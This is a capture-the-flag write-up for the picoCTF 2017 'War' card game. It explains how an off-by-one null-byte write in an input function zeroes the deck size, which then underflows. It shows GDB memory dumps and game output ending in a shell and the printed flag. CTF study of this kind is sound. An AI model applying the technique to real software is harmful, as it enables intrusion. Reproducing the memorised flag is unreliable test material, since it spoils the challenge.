PicoCTF_2017: War

Category: Master Points: 125 Description:

Win a simple Card Game. Source. Connect on shell2017.picoctf.com:44698.

Hint:

Bugs typically happen in groups. If you find one, what does it allow you to do?

Write-up

Before I start, I would like to say that it took me 6 days for this challenge. For how surprisingly easy it was to solve at the end. Shame on me but now I shall redeem myself by shortening 6 days of agony to a writeup.

Firstly, we need to identify the bugs in this challenge, as it doesn't appear that there's anything buffer overflowable. By doing some rubber-ducking, we come across this function readInput(). I've done some rubber ducking here to give you a better view of things

//Reads input from user, and properly terminates the string
unsigned int readInput(char * buff, unsigned int len){ // For an example if betBuffer with len 8
    size_t count = 0;
    char c;
    while((c = getchar()) != '\n' && c != EOF){
        if(count < (len-1)){ // While count is 6 or less
            buff[count] = c;
            count++; // Count ++ means count becomes 7 here
        }
    }
    buff[count+1] = '\x00'; // Inputting a null byte to index 8? O.o <- THIS IS ARRAY OVERFLOW111!!!!11!1
    return count;
}

Interesting, now we have the ability to erase one extra byte of anything after a buffer. Completely useless. Or is it? If we take a look at the two buffers that readInput() would read to, we come across these two buffers.

char betStr[BETBUFFLEN];
card * oppCard;

and

char name[NAMEBUFFLEN];
size_t deckSize;

Since we aren't too sure if the pointer for oppCard actually comes after the buffer in this scenario, let's target the name buffer. This calls for GDB.

First, let's try some input of just 31 bytes, to see a non-interrupted or overflowed memory region.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

0x601800 <gameData+128>:    0x00000000  0x00000000  0x41414141  0x41414141
0x601810 <gameData+144>:    0x41414141  0x41414141  0x41414141  0x41414141
0x601820 <gameData+160>:    0x41414141  0x41410000  0x1a000000  0x00000000
0x601830 <gameData+176>:    0x00000000  0x00000000  0x1a000000  0x00000000

The memory is in big-endian for viewing pleasure. So, we see a bunch of 41s, representing our A. This is very helpful, and we also see a 1a right afterwards. 1a in hex, also equates to 26 in decimal. The only thing that's 26 in the code, is deckSize. Great, that matches up with our code. Now let's try breaking the array by 1.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

0x601800 <gameData+128>:    0x00000000  0x00000000  0x41414141  0x41414141
0x601810 <gameData+144>:    0x41414141  0x41414141  0x41414141  0x41414141
0x601820 <gameData+160>:    0x41414141  0x41414100  0x00000000  0x00000000
0x601830 <gameData+176>:    0x00000000  0x00000000  0x1a000000  0x00000000

Where's the 1a now? Turns out, it's been completely overwritten by the null byte. What does this mean? Where's the flag? Well, if there's a null byte for decksize, this part of the code helps us.

//TODO: Implement card switching hands. Cheap hack here for playability
gameData.deckSize--;
if(gameData.deckSize == 0){
    printf("All card used. Card switching will be implemented in v1.0, someday.\n");
    exit(0);
}

So, in this event, when we try to play a card, the memory region breaks because 0x0000000000000000 minus 1 = 0xffffffffffffffff. Win.

0x601800 <gameData+128>:    0x00000000  0x00000000  0x41414141  0x41414141
0x601810 <gameData+144>:    0x41414141  0x41414141  0x41414141  0x41414141
0x601820 <gameData+160>:    0x41414141  0x41414100  0xffffffff  0xffffffff
0x601830 <gameData+176>:    0x00000000  0x00000000  0x1a000000  0x00000000

Theoretically, this means we are free to keep playing, since we are only limited by 100 coins or deck size of 26 which is now astronomically too big. So let's try to keep betting 1 till something happens. After the initial 26 cards, we are now left with 0 cards and this happens.

The opponent has a 0 of suit 0.
You have a 0 of suit 0.
You lost! :(

You have 73 coins.
How much would you like to bet?

Let's keep pushing. By now, we are accessing areas in the memory outside our actual decks, so we are bound to get crazy numbers like,

How much would you like to bet?
1
The opponent has a 0 of suit 0.
You have a 65 of suit 65.
You won? Hmmm something must be wrong...
Cheater. That's not actually a valid card.

You have 48 coins.
How much would you like to bet?
1
The opponent has a 0 of suit 0.
You have a 65 of suit 65.
You won? Hmmm something must be wrong...
Cheater. That's not actually a valid card.

You have 48 coins.
How much would you like to bet?

Let's keep going,

How much would you like to bet?
1
you bet 1.
The opponent has a 0 of suit 0.
You have a -1 of suit -68.
You lost! :(

Woah, negative numbers! Suddenly,

you bet 1.
The opponent has a 0 of suit 0.
You have a 13 of suit 0.
You won? Hmmm something must be wrong...
You actually won! Nice job

You have 22 coins.
How much would you like to bet?

Bingo. Now let's try to recoup our losses shall we! (Don't do this in real life, you will go bankrupt.)

You have 22 coins.
How much would you like to bet?
22
you bet 22.
The opponent has a 0 of suit 0.
You have a 9 of suit 2.
You won? Hmmm something must be wrong...
You actually won! Nice job

You have 44 coins.
How much would you like to bet?
44
you bet 44.
The opponent has a 0 of suit 0.
You have a 11 of suit 1.
You won? Hmmm something must be wrong...
You actually won! Nice job

You have 88 coins.
How much would you like to bet?
88
you bet 88.
The opponent has a 0 of suit 0.
You have a 11 of suit 3.
You won? Hmmm something must be wrong...
You actually won! Nice job

You have 176 coins.
How much would you like to bet?
176
you bet 176.
The opponent has a 0 of suit 0.
You have a 12 of suit 3.
You won? Hmmm something must be wrong...
You actually won! Nice job

You have 352 coins.
How much would you like to bet?
352
you bet 352.
The opponent has a 0 of suit 0.
You have a 13 of suit 1.
You won? Hmmm something must be wrong...
You actually won! Nice job
You won the game! That's real impressive, seeing as the deck was rigged...
/bin/sh: 0: can't access tty; job control turned off
$ ls
flag.txt
war
war_no_aslr
xinetd_wrapper.sh
$ cat flag.txt
04ab44dab3330a7633d9956b789f2769

Therefore, the flag is 04ab44dab3330a7633d9956b789f2769.